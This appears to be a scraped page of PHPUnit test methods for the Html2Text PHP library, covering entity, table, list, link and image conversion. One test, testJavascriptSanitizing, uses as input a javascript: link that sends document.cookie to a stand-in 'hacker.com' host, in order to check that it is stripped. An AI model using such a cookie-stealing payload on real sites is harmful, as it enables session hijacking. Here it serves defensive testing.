示例#1
0
 /**
  * @dataProvider provideSymbols
  */
 public function testSymbol($entity, $symbol)
 {
     $html = "{$entity} signs should be UTF-8 symbols";
     $expected = "{$symbol} signs should be UTF-8 symbols";
     $html2text = new Html2Text($html);
     $this->assertEquals($expected, $html2text->getText());
 }
示例#2
0
文件: PreTest.php 项目: cjq/html2text
    public function testPre()
    {
        $html = <<<'EOT'
<p>Before</p>
<pre>

Foo bar baz


HTML symbols &amp;

</pre>
<p>After</p>
EOT;
        $expected = <<<'EOT'
Before

Foo bar baz

HTML symbols &

After

EOT;
        $html2text = new Html2Text($html);
        $this->assertEquals($expected, $html2text->getText());
    }
示例#3
0
    public function testTable()
    {
        $html = <<<'EOT'
<table>
  <tr>
    <th>Heading 1</th>
    <td>Data 1</td>
  </tr>
  <tr>
    <th>Heading 2</th>
    <td>Data 2</td>
  </tr>
</table>
EOT;
        $expected = <<<'EOT'
 		HEADING 1
 		Data 1

 		HEADING 2
 		Data 2


EOT;
        $html2text = new Html2Text($html);
        $this->assertEquals($expected, $html2text->getText());
    }
示例#4
0
 public function testLegacyConstructor()
 {
     $html = 'Foo';
     $options = array('do_links' => 'none');
     $html2text = new Html2Text($html, false, $options);
     $this->assertEquals($html, $html2text->getText());
 }
示例#5
0
    public function testIgnoreSpans()
    {
        $html = <<<EOT
Outside<span class="_html2text_ignore">Inside</span>
EOT;
        $expected = <<<EOT
Outside
EOT;
        $html2text = new Html2Text($html);
        $output = $html2text->getText();
        $this->assertEquals($expected, $output);
    }
示例#6
0
    public function testToUpper()
    {
        $html = <<<EOT
<h1>Will be UTF-8 (äöüèéилčλ) uppercased</h1>
<p>Will remain lowercased</p>
EOT;
        $expected = <<<EOT
WILL BE UTF-8 (ÄÖÜÈÉИЛČΛ) UPPERCASED

Will remain lowercased
EOT;
        $html2text = new Html2Text($html);
        $output = $html2text->getText();
        $this->assertEquals($expected, $output);
    }
示例#7
0
    public function testDefinitionList()
    {
        $html = <<<EOT
<dl>
  <dt>Definition Term:</dt>
  <dd>Definition Description<dd>
</dl>
EOT;
        $expected = <<<EOT
 \t* Definition Term: Definition Description 


EOT;
        $html2text = new Html2Text($html);
        $output = $html2text->getText();
        $this->assertEquals($expected, $output);
    }
示例#8
0
    public function testOrderedList()
    {
        $html = <<<'EOT'
<ol>
  <li>Item 1</li>
  <li>Item 2</li>
  <li>Item 3</li>
</ol>
EOT;
        $expected = <<<'EOT'
 	* Item 1
 	* Item 2
 	* Item 3


EOT;
        $html2text = new Html2Text($html);
        $this->assertEquals($expected, $html2text->getText());
    }
示例#9
0
 public function testJavascriptSanitizing()
 {
     $html = '<a href="javascript:window.open(\'http://hacker.com?cookie=\'+document.cookie)">Link text</a>';
     $expected = 'Link text';
     $html2text = new Html2Text($html, array('do_links' => 'inline'));
     $this->assertEquals($expected, $html2text->getText());
 }
示例#10
0
 /**
  * @dataProvider blockquoteDataProvider
  */
 public function testBlockquote($html, $expected)
 {
     $html2text = new Html2Text($html);
     $this->assertEquals($expected, $html2text->getText());
 }
示例#11
0
 public function testSpaces()
 {
     $html = new Html2Text('This&nbsp;is&nbsp;a&nbsp;text&nbsp;with&nbsp;a&nbsp;lot&nbsp;of&nbsp;spaces.');
     $this->assertEquals('This is a text with a lot of spaces.', $html->getText());
 }
示例#12
0
    public function testBaseUrlWithPlaceholder()
    {
        $html = '<a href="/relative">Link text</a>';
        $expected = 'Link text [%baseurl%/relative]';

        $html2text = new Html2Text($html, array('do_links' => 'inline'));
        $html2text->setBaseUrl('%baseurl%');

        $this->assertEquals($expected, $html2text->getText());
    }
示例#13
0
 /**
  * @dataProvider testImageDataProvider
  */
 public function testImages($html, $expected)
 {
     $html2text = new Html2Text($html);
     $output = $html2text->getText();
     $this->assertEquals($expected, $output);
 }
示例#14
0
 /**
  * @dataProvider searchReplaceDataProvider
  */
 public function testSearchReplace($html, $expected)
 {
     $html = new Html2Text($html);
     $this->assertEquals($expected, $html->getText());
 }
示例#15
0
 public function testShowAltText()
 {
     $html = new Html2Text('<img id="head" class="header" src="imgs/logo.png" alt="This is our cool logo" />');
     $this->assertEquals('image: "This is our cool logo"', $html->getText());
 }
示例#16
0
 public function testBasicUsageInReadme()
 {
     $html = new Html2Text('Hello, &quot;<b>world</b>&quot;');
     $this->assertEquals('Hello, "WORLD"', $html->getText());
 }
示例#17
0
 /**
  * @dataProvider basicDataProvider
  */
 public function testBasic($html, $expected)
 {
     $html2Text = new Html2Text($html);
     $this->assertEquals($expected, $html2Text->getText());
     $this->assertEquals($html, $html2Text->getHtml());
 }
示例#18
0
 public function testDoLinksBBCode()
 {
     $html = '<a href="http://example.com"><b>Link text</b></a>';
     $expected = '[url=http://example.com]LINK TEXT[/url]';
     $html2text = new Html2Text($html, array('do_links' => 'bbcode'));
     $this->assertEquals($expected, $html2text->getText());
 }